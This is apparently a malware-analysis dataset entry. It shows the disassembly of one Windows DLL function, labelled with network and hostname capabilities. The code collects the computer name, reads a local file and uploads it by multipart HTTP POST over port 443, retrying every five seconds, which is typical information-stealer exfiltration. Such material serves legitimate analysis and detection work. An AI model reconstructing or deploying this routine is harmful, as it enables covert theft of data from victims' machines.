Function at 0x18001162c
Capabilities:
Connect to http server
Create http request
Get hostname
Send data
Send http request

Disassembly:
jmp 0x18001e8e0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0xf20
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x298
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xf48]
mov rax, qword [0x180034040]
xor rax, rbp
mov qword [rbp + 0xed8], rax
lea rcx, [0x18003e107]
call fcn.1800119ba
lea rdx, [0x18002e4b2]
lea rcx, [rbp + 8]
call fcn.18001146a
nop
mov dword [rbp + 0x164], 0x100
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x18001e95c
jmp 0x18001e979
lea rdx, [0x18002e808]
lea rcx, [rbp + 8]
call fcn.1800110cd
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 8]
call fcn.1800110cd
lea rcx, [rbp + 0x188]
call fcn.1800119a6
nop
lea rdx, [0x18002e808]
lea rcx, [rbp + 0x1c8]
call fcn.18001146a
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x188]
call fcn.1800110cd
lea rdx, [0x180034850]
lea rcx, [rbp + 0x1c8]
call fcn.180011244
lea rdx, [0x180034980]
lea rcx, [rbp + 0x1c8]
call fcn.180011244
lea rax, [rbp + 0x208]
lea rcx, str.Content_Type:_multipart_form_data__boundary____qwerty
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x260]
lea rcx, str.______qwerty_r_nContent_Disposition:_form_data__name__s___filename__s__r_nContent_Type:_application_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
mov rdi, rax
mov rsi, rcx
mov ecx, 0x96
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x318]
lea rcx, str._r_n______qwerty___r_n
mov rdi, rax
mov rsi, rcx
mov ecx, 0x13
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x824], 0x803100
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x18002e930]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 0x768], rax
lea rcx, [0x1800349d0]
call fcn.1800110ff
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
mov rdx, rax
mov rcx, qword [rbp + 0x768]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x788], rax
lea rcx, [rbp + 0x188]
call fcn.1800110ff
mov qword [rbp + 0xec8], rax
lea rcx, [rbp + 0x1c8]
call fcn.1800110ff
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov rcx, qword [rbp + 0xec8]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8, rax
lea rdx, str.POST
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp + 0x7a8], rax
mov r9d, 5
lea r8, [rbp + 0x824]
mov edx, 0x1f
mov rcx, qword [rbp + 0x7a8]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov dword [rbp + 0x844], eax
mov edx, 0x110
lea rcx, [rbp + 0x870]
call fcn.1800116cc
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x25
mov rdx, qword [rbp + 0xf00]
lea rcx, [rbp + 0x870]
call fcn.18001191a
nop
lea rdx, str.try_upload_info_file
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18001112c
lea rdx, [0x180011069]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x870]
call fcn.180011046
movzx eax, al
test eax, eax
je 0x18001ec43
lea rdx, [rbp + 0xe88]
lea rcx, [rbp + 0x870]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.1800119f6
cdqe
mov rdx, rax
lea rcx, [rbp + 0xe58]
call fcn.1800110fa
lea rax, [0x1800348a0]
lea rcx, [rbp + 0xe58]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1800348a0]
call fcn.1800119f6
mov rcx, rax
call fcn.18001143d
mov qword [rbp + 0xeb8], rax
mov rax, qword [rbp + 0xeb8]
mov qword [0x180034780], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x870]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rcx, [0x1800348a0]
call fcn.1800119f6
mov r8, rax
mov rdx, qword [0x180034780]
lea rcx, [rbp + 0x870]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov r9, qword [rbp + 0xf00]
lea r8, str.filetoupload
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x350]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rbp + 0xec8], rax
lea rcx, [0x1800348a0]
call fcn.1800119f6
mov rcx, qword [rbp + 0xec8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xed0], rax
lea rcx, [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov rcx, qword [rbp + 0xed0]
add rcx, rax
mov rax, rcx
mov dword [rbp + 0x804], eax
mov eax, dword [rbp + 0x804]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x9b8], rax
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x9b8]
add rdx, rcx
mov rcx, rdx
mov r8, rax
lea rdx, [rbp + 0x350]
call fcn.1800114c9
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x9b8]
add rdx, rcx
mov rcx, rdx
mov r8, rax
lea rdx, [rbp + 0x350]
call fcn.1800114c9
lea rcx, [0x1800348a0]
call fcn.1800119f6
mov qword [rbp + 0xec8], rax
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov rcx, qword [rbp + 0x9b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0xec8]
mov r8, rcx
mov rdx, qword [0x180034780]
mov rcx, rax
call fcn.1800114c9
lea rcx, [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rbp + 0xec8], rax
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rbp + 0xed0], rax
lea rcx, [0x1800348a0]
call fcn.1800119f6
add rax, qword [rbp + 0x9b8]
mov rcx, qword [rbp + 0xed0]
add rax, rcx
mov rcx, qword [rbp + 0xec8]
mov r8, rcx
lea rdx, [rbp + 0x318]
mov rcx, rax
call fcn.1800114c9
lea rcx, [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [rbp + 0x804]
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x9b8]
mov r8d, eax
lea rdx, [rbp + 0x208]
mov rcx, qword [rbp + 0x7a8]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [rbp + 0x994], eax
cmp dword [rbp + 0x994], 0
jne 0x18001ee45
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x870]
call fcn.18001118b
jmp 0x18001e9d0
mov rcx, qword [rbp + 0x9b8]
call qword [sym.imp.ucrtbased.dll_free]
lea rcx, [rbp + 0x870]
call fcn.18001158c
mov rcx, qword [rbp + 0x7a8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x768]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp + 0x870]
call fcn.18001118b
nop
lea rcx, [rbp + 0x1c8]
call fcn.1800111db
nop
lea rcx, [rbp + 0x188]
call fcn.1800111db
nop
lea rcx, [rbp + 8]
call fcn.1800111db
lea rcx, [rbp - 0x40]
lea rdx, [0x18002d3b0]
call fcn.18001182f
mov rcx, qword [rbp + 0xed8]
xor rcx, rbp
call fcn.1800114c4
lea rsp, [rbp + 0xee0]
pop rdi
pop rsi
pop rbp
ret